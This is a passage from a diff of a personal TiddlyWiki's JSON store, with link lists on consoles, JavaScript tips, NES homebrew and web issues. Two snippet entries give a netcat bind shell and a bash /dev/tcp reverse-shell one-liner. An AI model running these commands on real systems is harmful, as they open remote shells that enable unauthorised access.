Gaming in Public with [...] AR Glasses\">> --- a nice crazy idea for gaming everywhere in the most pick-up-and-play fashion\n"}, {"title":"Gaming console","created":"20231119004553704","creator":"Octt","modified":"20240110011644718","modifier":"Octt","tags":"Gaming","text":"\u003C\u003C^wikipediaframe \"Gaming console\">>\n\n* [[Console Protocols|https://sites.google.com/site/consoleprotocols/]] --- //site dedicated to the accurate documentation of protocols used to communicate with and inside of game consoles//\n* [[ConsoleMods.org|https://consolemods.org/wiki/Main_Page]] --- //collaborative community focused on collecting and preserving the ephemeral knowledge of console modifications, repairs, and restoration methods//\n\n* \u003C\u003CYoutubeL XrieCn9-9GU \"Can a $10 8-bit handheld game console be any good?\">> (Sup Famiclone)\n** \u003C\u003CYoutubeL ceI4CeIN1SQ \"Improving the $10 8-bit handheld game console\">> (better quality AV out)\n* \u003C\u003CYoutubeL N7q-tiiTN1Q \"SH108 - Hackeriamo un mini arcade\">>\n* [[Fun project -hack cheap handheld console- help with BGA NAND flash chip needed|https://www.eevblog.com/forum/beginners/fun-project-hack-cheap-handheld-console-help-with-bga-nand-flash-chip-needed/]]\n* [[Dissecting a hand-held NOAC console|https://hackaday.io/project/175322-dissecting-a-hand-held-noac-console]] --- //This is an attempt to understand how these little things work, and what we can do on it.//\n* \u003C\u003CRedditL r/SBCGaming/comments/t8k09f/is_there_any_conceivable_way_to_replace_the_roms/ \"Is there any conceivable way to replace the ROMs on 400-in-1 Handheld Console?\">>\n** [[teardown: e-mods rs-1 handheld|https://flawed.net.nz/2017/09/11/teardown-e-mods-rs-1-handheld-game/]]\n** [[Искусство кройки и шитья или возможность заменить игры в портативной игровой консоли SUP (The art of cutting and sewing or the ability to replace games in a portable SUP game console)|https://habr.com/ru/articles/718366/]]\n\n* [[V.R. Technology IC Design|https://www.vrt.com.tw/]] (official site with manuals, datasheets, and downloads)\n** [[VTxx|https://bootleggames.fandom.com/wiki/VTxx]]\n"}, {"title":"GBA","created":"20230216205342744","creator":"Octt","modified":"20230216205848009","modifier":"Octt","tags":"Nintendo Console Gaming","text":"\u003C\u003Cwikipediaframe GBA en>>\n\n!! ''Resources''\n\n* \u003C\u003CYoutubeL CCXlwI939is \"The Game Boy Advance Is Insanely Powerful Compared to the SNES\">>\n"}, {"title":"GIF","created":"20240107013040620","creator":"Octt","modified":"20240107013413537","modifier":"Octt","tags":"Image","text":"\u003C\u003C^WikipediaFrame \"GIF\">>\n\n* [[Gifski|https://gif.ski/]] -- //Highest-quality GIF encoder. GIF encoder based on libimagequant (pngquant). Squeezes maximum possible quality from the awful GIF format.// --- \u003C\u003C[# Git\"https://github.com/ImageOptim/gifski/\">>\n"}, @@ -1226,7 +1227,7 @@ {"title":"Issues of the Modern Web","created":"20230301080208442","creator":"Octt","modified":"20231107220850311","modifier":"Octt","tags":"Web Modern","text":"* ~~Just in, 2023/July:~~ [[Web Environment Integrity API Proposal|https://github.com/RupertBenWiser/Web-Environment-Integrity]] --- //[[This is scary. It's (strong) SafetyNet for websites [...]|https://mastodon.uno/@lina@vt.social/110755246339815796]]//\n** 2023/November update: [[Google bins integrity API that looked more than a bit like horrible DRM for websites|https://www.theregister.com/2023/11/02/google_abandons_web_environment_integrity/]]... but not completely: it will still be integrated into [[Android]] System Webview, for some reason\n* Reign of [[Surveillance Capitalism]].\n** Full of advertisements, and trackers.\n* Technically problematic:\n** Even simple text+images websites are full of megabytes of useless components.\n*** This wisdom tends to verify as more truthful the more you test it against websites of more big players, or entities that are on the web just for money.\n** Web Browsers are in themselves Operating Systems.\n*** Only [[The 3 Web Players]] can keep up with constantly evolving standards requiring corporate-level organization for development, and the risk for a [[Google]] monopoly is real.\n*** Every month or so each browser engine has a new critical vulnerability.\n* Has more noise than information:\n** Search engines are each day less effective, as pages/articles or full sites written to game SEO pop-up, sinking real information in noise - with entire industries dedicated to profiting this way.\n*** Real people who just want to create real content suffer the most.\n"}, {"title":"Italiano","created":"20220923052724501","icon":"$:/languages/it-IT/icon","modified":"20220923052724501"}, {"title":"Java","created":"20230211172153874","creator":"Octt","modified":"20231222121254624","modifier":"Octt","text":"\u003C\u003C^wikipediaframe \"Java (programming language)\" en>>\n\n* [[Java NullPointerException|https://www.digitalocean.com/community/tutorials/java-lang-nullpointerexception]]\n\n* [[Oracle Java Downloads Archive|https://www.oracle.com/java/technologies/downloads/archive/]] --- requires shitty account to download basically anything, but has everything\n* [[Install openjdk-6-jdk on Ubuntu/Xubuntu 16.04 |https://gist.github.com/bmaupin/ff99b0cc84dd3ad8c4600374f2473184]]\n"}, -{"title":"JavaScript","created":"20221110145611678","creator":"Octt","modified":"20240110011936700","modifier":"Octt","tags":"Development $:/i18n:en Web","text":"''JavaScript'', or \"JS\", is an high-level programming language. It constitutes a core technology of the Web, sitting optionally alongside HTML and CSS. In recent years, it has gotten more and more popular even for desktop app and backend development.\n\n\u003C\u003C^wikipediaframe JavaScript>>\n\n* [[Ecma International TC39|https://tc39.es/]] - Committee maintaining JS specifications\n\n* [[aem1k|https://aem1k.com/]] --- //JavaScript Hacks and Creative Coding Created by Martin Kleppe aka @aemkei.// --- \u003C\u003C[# Git\"https://github.com/aemkei/aemkei.github.io\">>\n\n!!! ''Resources''\n\n* [[The Modern JavaScript Tutorial (javascript.info)|https://javascript.info/]] --- //How it's done now. From the basics to advanced topics with simple, but detailed explanations.//\n* \u003C\u003ChttpsL JavaScriptTutorial.net>> --- //helps you learn JavaScript programming from scratch quickly and effectively//\n\n* //''[[JSFuck|https://jsfuck.com/]]'' is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.// --- \u003C\u003C[# Git+Guide \"https://github.com/aemkei/jsfuck\">>\n\n* [[Which equals operator (== vs ===) should be used in JavaScript comparisons?|https://stackoverflow.com/questions/359494/which-equals-operator-vs-should-be-used-in-javascript-comparisons]] (\"Good and bad twins\") --- `==` is bad unless explicitly needed, since it does type-coercion.\n** [[In theory === is faster, no type conversion takes place. Practically there's no performance difference.|https://stackoverflow.com/questions/12332855/which-javascript-equality-operator-or-is-faster]]\n** [[JavaScript-Equality-Table|https://dorey.github.io/JavaScript-Equality-Table/unified/]] - \u003C\u003C[ \"[[Git|https://github.com/dorey/JavaScript-Equality-Table]]\">>\n\n* [[Environment detection: node.js or browser|https://stackoverflow.com/a/57774317]]\n* [[Superpacking JS Demos|https://web.archive.org/web/20120919185414/http://daeken.com/superpacking-js-demos]]\n* [[\"Illegal invocation\" errors in JavaScript|https://mtsknn.fi/blog/illegal-invocations-in-js/]] --- //The error is thrown when calling a function whose `this` keyword isn't referring to the object where it originally did (when the context of the function is lost)//\n* [[Does JavaScript have a method like \"range()\" to generate a range within the supplied bounds?|https://stackoverflow.com/questions/3895478/does-javascript-have-a-method-like-range-to-generate-a-range-within-the-supp]] --- `[...Array(5).keys()]`\n* [[Listen for triple clicks in JavaScript|https://stackoverflow.com/questions/6480060/how-do-i-listen-for-triple-clicks-in-javascript#6480113]]\n* [[Fastest method to escape HTML tags as HTML entities?|https://stackoverflow.com/questions/5499078/fastest-method-to-escape-html-tags-as-html-entities]] --- in the browser, `(html) => { var escape = document.createElement('textarea'); escape.textContent = html; return escape.innerHTML; }`\n* [[Get a random item from a JavaScript array|https://stackoverflow.com/questions/5915096/get-a-random-item-from-a-javascript-array#5915122]] : [[Getting a random value from a JavaScript array|https://stackoverflow.com/questions/4550505/getting-a-random-value-from-a-javascript-array]] --- `item = items[Math.floor(Math.random() * items.length)];`\n* [[Simplest code for array intersection in javascript|https://stackoverflow.com/questions/1885557/simplest-code-for-array-intersection-in-javascript#1885569]] --- `arrayNew = array1.filter(value => array2.includes(value));`\n* [[Why is 'for (... in ...)' with arrays considered bad practice in JavaScript?|https://stackoverflow.com/questions/2265167/why-is-forvar-item-in-list-with-arrays-considered-bad-practice-in-javascript]] --- use `for (... of ...)` to iterate for values, the `in` form should only be used to iterate over indices\n* [[Why is extending native objects a bad practice?|https://stackoverflow.com/questions/14034180/why-is-extending-native-objects-a-bad-practice]] --- it breaks everything for some objects.\n** see [[https://eslint.org/docs/latest/rules/no-extend-native]]\n* [[What does ~~ (\"double tilde\") do in Javascript?|https://stackoverflow.com/questions/4055633/what-does-double-tilde-do-in-javascript]] ; [[What is the \"double tilde\" (~~) operator in JavaScript? [duplicate]|https://stackoverflow.com/questions/5971645/what-is-the-double-tilde-operator-in-javascript]] --- double NOT logical operator, useful shorter and faster alternative to `Math.floor` for small numbers\n* [[How to convert uint8 Array to base64 Encoded String?|https://stackoverflow.com/questions/12710001/how-to-convert-uint8-array-to-base64-encoded-string/66046176#66046176]]\n* [[What is the JavaScript version of sleep()?|https://stackoverflow.com/questions/951021/what-is-the-javascript-version-of-sleep#39914235]] --- `await new Promise(r => setTimeout(r, milliseconds));`\n* [[Convert letter to number in JavaScript|https://stackoverflow.com/questions/27877197/convert-letter-to-number-in-javascript]] (or parse a String that contains a number and happens to contain letters as a Number) --- \u003C\u003CMDNLink Web/JavaScript/Reference/Global_Objects/parseInt parseInt()>>\n\n* [[How to get text from all descendents of an element (disregarding scripts)?|https://stackoverflow.com/questions/2532043/how-to-get-text-from-all-descendents-of-an-element-disregarding-scripts]]\n* [[Converting HTML string into DOM elements?|https://stackoverflow.com/questions/3103962/converting-html-string-into-dom-elements#3104237]] --- `doc = new DOMParser().parseFromString(htmlString, 'text/html')`\n* [[set doctype using javascript|https://stackoverflow.com/questions/21523487/set-doctype-using-javascript]]\n* [[JavaScript Regex Replace Tutorial|https://www.javascripttutorial.net/javascript-regex/replace/]]\n* [[Insert an element after another DOM element with JavaScript|https://attacomsian.com/blog/javascript-insert-element-after]] --- //`target.parentNode.insertBefore(elem, target.nextSibling)\n`//\n\n* [[Send POST data using XMLHttpRequest|https://stackoverflow.com/questions/9713058/send-post-data-using-xmlhttprequest]]\n* [[fetch API [and comparison with XMLHttpRequest]|https://davidwalsh.name/fetch]]\n* [[How do I upload a file with the JS fetch API?|https://stackoverflow.com/questions/36067767/how-do-i-upload-a-file-with-the-js-fetch-api#comment98412965_36082038]] --- pass the `file` object to the body, do NOT set Content-Type header\n* [[How to Use Fetch with async/await|https://dmitripavlutin.com/javascript-fetch-async-await/]]\n\n* [[Array.prototype.splice()|https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice]], [[JavaScript Array splice() (W3S)|https://www.w3schools.com/jsref/jsref_splice.asp]] --- //changes the contents of an array by removing or replacing existing elements and/or adding new elements in place//, useful alternative for a nonexistant remove function, with `.splice(index, amountToRemove)`\n* \u003C\u003CMDNLink Web/JavaScript/Reference/Global_Objects/Array/concat \"Array.prototype.concat()\">> --- //used to merge two or more arrays, does not change the existing arrays but instead returns a new one//\n* [[XMLHttpRequest|https://www.w3schools.com/xml/xml_http.asp]]\n** \u003C\u003CMDNLink Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests \"Synchronous and asynchronous requests\">>\n* [[HTML DOM Events|https://www.w3schools.com/jsref/dom_obj_event.asp]]\n\n* \u003C\u003ChttpsL tixy.land>> --- //(t,i,x,y) => \"creative code golfing\"// --- \u003C\u003C[# Git\"https://github.com/aemkei/tixy\">>\n\n!!! ''Tools''\n\n* [[jsPerf|https://jsperf.app/]] - //online JavaScript performance benchmark// - \u003C\u003C[ \"[[Git|https://github.com/rd13/jsperf.app]]\">>\n** Old source code: [[v2|https://github.com/jsperf]], [[v1|https://github.com/mathiasbynens/jsperf.com]]\n* [[MeasureThat.net|https://www.measurethat.net/]] - //measure performance of JavaScript code// - \u003C\u003C[ \"[[Git|https://github.com/thecoderok/MeasureThat.net]]\">>\n\n* [[UglifyJS|https://lisperator.net/uglifyjs/]] - //JavaScript parser / mangler / compressor / beautifier// - \u003C\u003C[ \"[[Git|https://github.com/mishoo/UglifyJS]]\">>\n** \u003C\u003Clinkdescgit \"UglifyJS 3: Online JavaScript minifier\" \"https://skalman.github.io/UglifyJS-online/\" \"JavaScript minifier in the browser\" \"https://github.com/Skalman/UglifyJS-online\">>\n* \u003C\u003Clinkdescgit de4js \"https://lelinhtinh.github.io/de4js\" \"JavaScript Deobfuscator and Unpacker\" \"https://github.com/lelinhtinh/de4js\">>\n\n* [[aaencode demo|https://utf-8.jp/public/aaencode.html]] --- //Encode any JavaScript program to Japanese style emoticons (^_^)//\n* [[jjencode demo|https://utf-8.jp/public/jjencode.html]] --- encode JS using limited symbols\n"}, +{"title":"JavaScript","created":"20221110145611678","creator":"Octt","modified":"20240119004231712","modifier":"Octt","tags":"Development $:/i18n:en Web","text":"''JavaScript'', or \"JS\", is an high-level programming language. It constitutes a core technology of the Web, sitting optionally alongside HTML and CSS. In recent years, it has gotten more and more popular even for desktop app and backend development.\n\n\u003C\u003C^wikipediaframe JavaScript>>\n\n* [[Ecma International TC39|https://tc39.es/]] - Committee maintaining JS specifications\n\n* [[aem1k|https://aem1k.com/]] --- //JavaScript Hacks and Creative Coding Created by Martin Kleppe aka @aemkei.// --- \u003C\u003C[# Git\"https://github.com/aemkei/aemkei.github.io\">>\n\n!!! ''Resources''\n\n* [[The Modern JavaScript Tutorial (javascript.info)|https://javascript.info/]] --- //How it's done now. From the basics to advanced topics with simple, but detailed explanations.//\n* \u003C\u003ChttpsL JavaScriptTutorial.net>> --- //helps you learn JavaScript programming from scratch quickly and effectively//\n\n* //''[[JSFuck|https://jsfuck.com/]]'' is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.// --- \u003C\u003C[# Git+Guide \"https://github.com/aemkei/jsfuck\">>\n\n* [[Which equals operator (== vs ===) should be used in JavaScript comparisons?|https://stackoverflow.com/questions/359494/which-equals-operator-vs-should-be-used-in-javascript-comparisons]] (\"Good and bad twins\") --- `==` is bad unless explicitly needed, since it does type-coercion.\n** [[In theory === is faster, no type conversion takes place. Practically there's no performance difference.|https://stackoverflow.com/questions/12332855/which-javascript-equality-operator-or-is-faster]]\n** [[JavaScript-Equality-Table|https://dorey.github.io/JavaScript-Equality-Table/unified/]] - \u003C\u003C[ \"[[Git|https://github.com/dorey/JavaScript-Equality-Table]]\">>\n\n* [[Environment detection: node.js or browser|https://stackoverflow.com/a/57774317]]\n* [[Superpacking JS Demos|https://web.archive.org/web/20120919185414/http://daeken.com/superpacking-js-demos]]\n* [[\"Illegal invocation\" errors in JavaScript|https://mtsknn.fi/blog/illegal-invocations-in-js/]] --- //The error is thrown when calling a function whose `this` keyword isn't referring to the object where it originally did (when the context of the function is lost)//\n* [[Does JavaScript have a method like \"range()\" to generate a range within the supplied bounds?|https://stackoverflow.com/questions/3895478/does-javascript-have-a-method-like-range-to-generate-a-range-within-the-supp]] --- `[...Array(5).keys()]`\n* [[Listen for triple clicks in JavaScript|https://stackoverflow.com/questions/6480060/how-do-i-listen-for-triple-clicks-in-javascript#6480113]]\n* [[Fastest method to escape HTML tags as HTML entities?|https://stackoverflow.com/questions/5499078/fastest-method-to-escape-html-tags-as-html-entities]] --- in the browser, `(html) => { var escape = document.createElement('textarea'); escape.textContent = html; return escape.innerHTML; }`\n* [[Get a random item from a JavaScript array|https://stackoverflow.com/questions/5915096/get-a-random-item-from-a-javascript-array#5915122]] : [[Getting a random value from a JavaScript array|https://stackoverflow.com/questions/4550505/getting-a-random-value-from-a-javascript-array]] --- `item = items[Math.floor(Math.random() * items.length)];`\n* [[Simplest code for array intersection in javascript|https://stackoverflow.com/questions/1885557/simplest-code-for-array-intersection-in-javascript#1885569]] --- `arrayNew = array1.filter(value => array2.includes(value));`\n* [[Why is 'for (... in ...)' with arrays considered bad practice in JavaScript?|https://stackoverflow.com/questions/2265167/why-is-forvar-item-in-list-with-arrays-considered-bad-practice-in-javascript]] --- use `for (... of ...)` to iterate for values, the `in` form should only be used to iterate over indices\n* [[Why is extending native objects a bad practice?|https://stackoverflow.com/questions/14034180/why-is-extending-native-objects-a-bad-practice]] --- it breaks everything for some objects.\n** see [[https://eslint.org/docs/latest/rules/no-extend-native]]\n* [[What does ~~ (\"double tilde\") do in Javascript?|https://stackoverflow.com/questions/4055633/what-does-double-tilde-do-in-javascript]] ; [[What is the \"double tilde\" (~~) operator in JavaScript? [duplicate]|https://stackoverflow.com/questions/5971645/what-is-the-double-tilde-operator-in-javascript]] --- double NOT logical operator, useful shorter and faster alternative to `Math.floor` for small numbers\n* [[How to convert uint8 Array to base64 Encoded String?|https://stackoverflow.com/questions/12710001/how-to-convert-uint8-array-to-base64-encoded-string/66046176#66046176]]\n* [[What is the JavaScript version of sleep()?|https://stackoverflow.com/questions/951021/what-is-the-javascript-version-of-sleep#39914235]] --- `await new Promise(r => setTimeout(r, milliseconds));`\n* [[Convert letter to number in JavaScript|https://stackoverflow.com/questions/27877197/convert-letter-to-number-in-javascript]] (or parse a String that contains a number and happens to contain letters as a Number) --- \u003C\u003CMDNLink Web/JavaScript/Reference/Global_Objects/parseInt parseInt()>>\n\n* [[How to get text from all descendents of an element (disregarding scripts)?|https://stackoverflow.com/questions/2532043/how-to-get-text-from-all-descendents-of-an-element-disregarding-scripts]]\n* [[Converting HTML string into DOM elements?|https://stackoverflow.com/questions/3103962/converting-html-string-into-dom-elements#3104237]] --- `doc = new DOMParser().parseFromString(htmlString, 'text/html')`\n* [[set doctype using javascript|https://stackoverflow.com/questions/21523487/set-doctype-using-javascript]]\n* [[JavaScript Regex Replace Tutorial|https://www.javascripttutorial.net/javascript-regex/replace/]]\n* [[Insert an element after another DOM element with JavaScript|https://attacomsian.com/blog/javascript-insert-element-after]] --- //`target.parentNode.insertBefore(elem, target.nextSibling)\n`//\n\n* [[Send POST data using XMLHttpRequest|https://stackoverflow.com/questions/9713058/send-post-data-using-xmlhttprequest]]\n* [[fetch API [and comparison with XMLHttpRequest]|https://davidwalsh.name/fetch]]\n* [[How do I upload a file with the JS fetch API?|https://stackoverflow.com/questions/36067767/how-do-i-upload-a-file-with-the-js-fetch-api#comment98412965_36082038]] --- pass the `file` object to the body, do NOT set Content-Type header\n* [[How to Use Fetch with async/await|https://dmitripavlutin.com/javascript-fetch-async-await/]]\n\n* [[String indexOf()|https://www.w3schools.com/jsref/jsref_indexof.asp]]\n* [[Array.prototype.splice()|https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice]], [[JavaScript Array splice() (W3S)|https://www.w3schools.com/jsref/jsref_splice.asp]] --- //changes the contents of an array by removing or replacing existing elements and/or adding new elements in place//, useful alternative for a nonexistant remove function, with `.splice(index, amountToRemove)`\n* \u003C\u003CMDNLink Web/JavaScript/Reference/Global_Objects/Array/concat \"Array.prototype.concat()\">> --- //used to merge two or more arrays, does not change the existing arrays but instead returns a new one//\n* [[XMLHttpRequest|https://www.w3schools.com/xml/xml_http.asp]]\n** \u003C\u003CMDNLink Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests \"Synchronous and asynchronous requests\">>\n* [[HTML DOM Events|https://www.w3schools.com/jsref/dom_obj_event.asp]]\n\n* \u003C\u003ChttpsL tixy.land>> --- //(t,i,x,y) => \"creative code golfing\"// --- \u003C\u003C[# Git\"https://github.com/aemkei/tixy\">>\n\n!!! ''Tools''\n\n* [[jsPerf|https://jsperf.app/]] - //online JavaScript performance benchmark// - \u003C\u003C[ \"[[Git|https://github.com/rd13/jsperf.app]]\">>\n** Old source code: [[v2|https://github.com/jsperf]], [[v1|https://github.com/mathiasbynens/jsperf.com]]\n* [[MeasureThat.net|https://www.measurethat.net/]] - //measure performance of JavaScript code// - \u003C\u003C[ \"[[Git|https://github.com/thecoderok/MeasureThat.net]]\">>\n\n* [[UglifyJS|https://lisperator.net/uglifyjs/]] - //JavaScript parser / mangler / compressor / beautifier// - \u003C\u003C[ \"[[Git|https://github.com/mishoo/UglifyJS]]\">>\n** \u003C\u003Clinkdescgit \"UglifyJS 3: Online JavaScript minifier\" \"https://skalman.github.io/UglifyJS-online/\" \"JavaScript minifier in the browser\" \"https://github.com/Skalman/UglifyJS-online\">>\n* \u003C\u003Clinkdescgit de4js \"https://lelinhtinh.github.io/de4js\" \"JavaScript Deobfuscator and Unpacker\" \"https://github.com/lelinhtinh/de4js\">>\n\n* [[aaencode demo|https://utf-8.jp/public/aaencode.html]] --- //Encode any JavaScript program to Japanese style emoticons (^_^)//\n* [[jjencode demo|https://utf-8.jp/public/jjencode.html]] --- encode JS using limited symbols\n"}, {"title":"JavaScript/Frameworks","created":"20230429190756464","creator":"Octt","modified":"20231229012758540","modifier":"Octt","tags":"","text":"* ''[[Alpine.js|https://alpinejs.dev/]]'' - //Rugged, minimal\u003C\u003Cfnote \"15 attributes, 6 properties, 2 methods\">> framework for composing JavaScript behavior in the markup// - [[[Git|https://github.com/alpinejs/alpine]]]\n** [[HyperJS|https://js.hyperui.dev/]] - //Collection of Alpine JS components// - \u003C\u003C[ \"[[Git|https://github.com/markmead/hyperjs]]\">> \n* ''[[Electron|https://www.electronjs.org/]]'' - //Build cross-platform desktop apps with JavaScript, HTML, and CSS// - [[[Git|https://github.com/electron]]]\n* ''[[React|https://reactjs.org/]]'' - //Building UI-oriented apps with [[JSX|https://en.wikipedia.org/wiki/JSX_(JavaScript)]]// - [[[Git|https://github.com/facebook/react]]]\n** ''[[React Native|https://reactnative.dev/]]'' - //Compiling ReactJS apps to native ones// - [[[Git|https://github.com/facebook/react-native]]]\n* [[Preact|https://preactjs.com/]] --- //⚛️ Fast 3kB React alternative with the same modern API. Components & Virtual DOM.// --- \u003C\u003C[# Git\"https://github.com/preactjs\">>\n* ''[[Tauri|https://tauri.app/]]'' - //Use Rust to build desktop and mobile apps with a web frontend// - [[[Git|https://github.com/tauri-apps/]]]\n"}, {"title":"JavaScript/Libraries","created":"20230429182925276","creator":"Octt","modified":"20240107164336993","modifier":"Octt","tags":"","text":"Note: some are still in [[Web/Development]]\n\n!!! ''Single-purpose''\n\n* [[FileSaver.js|https://github.com/eligrey/FileSaver.js]] --- //An HTML5 saveAs() FileSaver implementation//\n* `jsdom`: //JavaScript implementation of various web standards, for use with Node.js// --- \u003C\u003C[# Git \"https://github.com/jsdom/jsdom\">>\n* [[Axios|https://axios-http.com/]] --- //Promise based HTTP client for the browser and node.js// --- \u003C\u003C[# Git\"https://github.com/axios\">>\n** [[How to display response error message with axios|https://stackoverflow.com/questions/44385872/how-to-display-response-error-message-with-axios]] --- `try { ... } catch(err) { console.log(err.response.data.message) }`\n\n!!! ''Do-all''\n\n* [[jQuery|https://jquery.com/]] --- //write less, do more// for general operations (has optional libraries for selectors and UI) --- \u003C\u003C[ \"[[Git|https://github.com/jquery]]\">>\n* [[Licia|https://licia.liriliri.io/]] - //utility library to get daily works done// - \u003C\u003C[ \"[[Git|https://github.com/liriliri/licia]]\">>\n* [[Lodash|https://lodash.com/]] - More modern fork of Underscore, useful for working with data objects - \u003C\u003C[ \"[[Git|https://github.com/lodash]]\">>\n* [[🐚 zx|https://google.github.io/zx/]] --- //A tool for writing better scripts//, it's like better sh scripting done via JavaScript. --- \u003C\u003C[# Git\"https://github.com/google/zx\">>\n\n!!! ''Polyfills''\n\nThese are for adding newer APIs to older browsers when making a webapp that uses them.\n\n* [[ECMAScript Shims|https://github.com/es-shims]] - Collection of compliant shims\n* [[core-js|https://github.com/zloirock/core-js]] - Pure JS Standard Library reimplementation\n* [[srcdoc-polyfill|https://github.com/jugglinmike/srcdoc-polyfill]] - //shim for the iFrame \"srcdoc\" attribute//\n* [[CSS Checkbox Hack|https://github.com/jamesl1001/checkbox-hack-polyfill]]\n* [[\u003Cdetails>|https://github.com/rstacruz/details-polyfill]]\n"}, {"title":"johncena141:en","created":"20220923152137538","modified":"20230206111552176","modifier":"Octt","tags":"Gaming $:/i18n:en","text":"[[johncena141|https://github.com/jc141x]] (jc141) is specialized in the field of compiling and distributing free repacks of current PC games for GNU+Linux.\n\nBefore their arrival to the GNU+Linux gaming scene in 2020-2021, obtaining known-safe and working repacks of games for the platform was a challenge, with native Linux repacks being almost impossible to find and Windows ones often not working.\n\nIn just about a year, johncena141 has become the most trusted repacker among GNU+Linux gamers, by putting the focus of their work directly and exclusively on GNU+Linux, as well as proving transparency and efficiency in their operations."}, @@ -1289,7 +1290,7 @@ {"title":"Music Archiving Status","created":"20220921110925268","creator":"Octt","modified":"20230508205815755","modifier":"Octt","tags":"Archiving Music","text":"\u003Ctable style=\"Width:100%;\">\n\u003Ctr style=\"Position:Sticky;\">\n\u003Cth>Album\u003C/th>\n\u003Cth>Got \u003Cbr/> Any?\u003C/th>\n\u003Cth>Got \u003Cbr/> Verified Lossless?\u003C/th>\n\u003Cth>Uploaded \u003Cbr/> on Archive.org?\u003C/th>\n\u003Cth>Notes\u003C/th>\n\u003C/tr>\n\u003C/table>\n\n\u003C!--\n\u003C$list filter=\"[tag[Archiving]]+[tag[Music]]-[[Music Archiving Status]]-[has[draft.of]]\">\n\u003Cp>\n\u003Cdetails>\n\u003Csummary>\u003C\u003C#lself>> \u003C$transclude field=\"title\"/>\u003C/summary>\n\u003C$transclude/>\n\u003C/details>\n\u003C/p>\n\u003C/$list>\n--->\n\n\u003C\u003Cltabs \"[tag[Archiving]]+[tag[Music]]-[[Music Archiving Status]]-[has[draft.of]]\">>\n\n!! Future / To do\n\n''Albums'': FUGENE\n\n''Artists'': Desired, Future Girlfriend, In Love With A Ghost, Macross 82-99, nyankobrq, SoLush, YUC'e, Yunomi"}, {"title":"nanoGPT","created":"20230218215510319","creator":"Octt","modified":"20231222225618517","modifier":"Octt","tags":"[[Artificial intelligence]]","text":"; Primary Resources\n: [[Code (Git)|https://github.com/karpathy/nanoGPT]]\n: Video explanation: \u003C\u003CYoutubeL kCc8FmEb1nY \"Let's build GPT: from scratch, in code, spelled out\">>\n\n; Additional Resources\n: [[Training nanoGPT on my Journal|https://hut.pm/nanogpt.html]] - \u003C\u003Cmywarc 114>>\n\n!!! ''My Experience''\n\nDone training on [[my main laptop|Octt/Laptop]], with PyTorch 2 nightly, and CPU training, because:\n* I failed to install all required dependencies on [[my desktop|Octt/groso]], both on Void Linux musl (bare-metal) and Ubuntu Jammy (chroot).\n* I now had to use my slow laptop, but issues with NVIDIA drivers meant no GPU training.\n\n(TODO: Write my results)\n"}, {"title":"Neofetch","created":"20230508213924861","creator":"Octt","modified":"20230508214336205","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Neofetch>>\n\n* [[Custom Neofetch ASCII Art|https://ryan.himmelwright.net/post/custom-neofetch-ascii-art/]]"}, -{"title":"NES Homebrew Games","created":"20231107222148927","creator":"Octt","modified":"20231119010650604","modifier":"Octt","tags":"[[Nintendo Entertainment System]] Homebrew Game","text":"* [[NES Homebrew Games itch.io collection by John Vanderhoef|https://itch.io/c/632436/nes-homebrew-games]]\n\n* \u003C\u003Clinkdescgit \"Super Tilt Bro\" \"https://sgadrat.itch.io/super-tilt-bro\" \"Super Tilt Bro is a demake of the Super Smash Bros. series compatible with the good old Nintendo Entertainment System from the 1980s. Featuring online play, thanks to a Wi-Fi chip in the cartridge!\" \"https://github.com/sgadrat/super-tilt-bro\">>\n"}, +{"title":"NES Homebrew Games","created":"20231107222148927","creator":"Octt","modified":"20240119001128653","modifier":"Octt","tags":"[[Nintendo Entertainment System]] Homebrew Game","text":"* [[NES Homebrew Games itch.io collection by John Vanderhoef|https://itch.io/c/632436/nes-homebrew-games]]\n\n* \u003C\u003Clinkdescgit \"Super Tilt Bro\" \"https://sgadrat.itch.io/super-tilt-bro\" \"Super Tilt Bro is a demake of the Super Smash Bros. series compatible with the good old Nintendo Entertainment System from the 1980s. Featuring online play, thanks to a Wi-Fi chip in the cartridge!\" \"https://github.com/sgadrat/super-tilt-bro\">>\n\n* \u003C\u003CYoutubeL JGehxWRF7jc \"Homebrew Shovel Knight for NES by Kasumi\">>\n** //[[What if Shovel Knight existed on NES? 🤔 Congrats on the big finish @YachtClubGames! It is a real ROM, but this video will have to suffice for now|https://twitter.com/KasumiDirect/status/1204608235275030528]]//\n"}, {"title":"netcat/Normal Shell","created":"20221202224129631","modified":"20230206111552224","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"From https://unix.stackexchange.com/a/345628:\n\nRun on host to spawn a network-attached shell (requires bash due to coproc):\n\n```bash\ncoproc netcat -l -p $PORT\nexec bash \u003C&${COPROC[0]} >&${COPROC[1]} 2>&1\n```\n\nRun on client to connect to host:\n\n```sh\nnc $ADDRESS $PORT\n```"}, {"title":"netcat/Reverse Shell","created":"20220926095309988","modified":"20230206111552227","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"0. Run on master (requires netcat):\n\n```sh\nnc -l -vv -p $PORT\n```\n\n1. Run on slave:\n\n```sh\nbash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1\n```"}, {"title":"Network domain","created":"20231221233617426","creator":"Octt","modified":"20231221233932753","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Network domain\">>\n\n* \u003C\u003ChttpsL nic.eu.org>> --- //EU.org, free domain names since 1996//\n* (yourname.)\u003C\u003ChttpsL js.org>> --- //Are you a JavaScript developer looking for free webspace to host your project?// --- \u003C\u003C[# Git\"https://github.com/js-org\">>\n"}, @@ -1302,7 +1303,7 @@ {"title":"Nintendo 64","created":"20230920154441542","creator":"Octt","modified":"20230920154706084","modifier":"Octt","tags":"Nintendo","text":"\u003C\u003C^wikipediaframe \"Nintendo 64\">>\n\n* \u003C\u003Clink+desc+git \"Awesome N64 Development\" \"https://n64.dev\" \"A curated list of Nintendo 64 development resources including toolchains, documentation, emulators, example code, and more!\" \"https://github.com/command-tab/awesome-n64-development\">>\n"}, {"title":"Nintendo DS","created":"20220923110724649","creator":"Octt","modified":"20240107152614906","modifier":"Octt","tags":"Gaming Nintendo NDS Console $:/i18n:en Handheld","text":"''Nintendo DS'' is a family of portable game consoles created by [[Nintendo|Nintendo]], 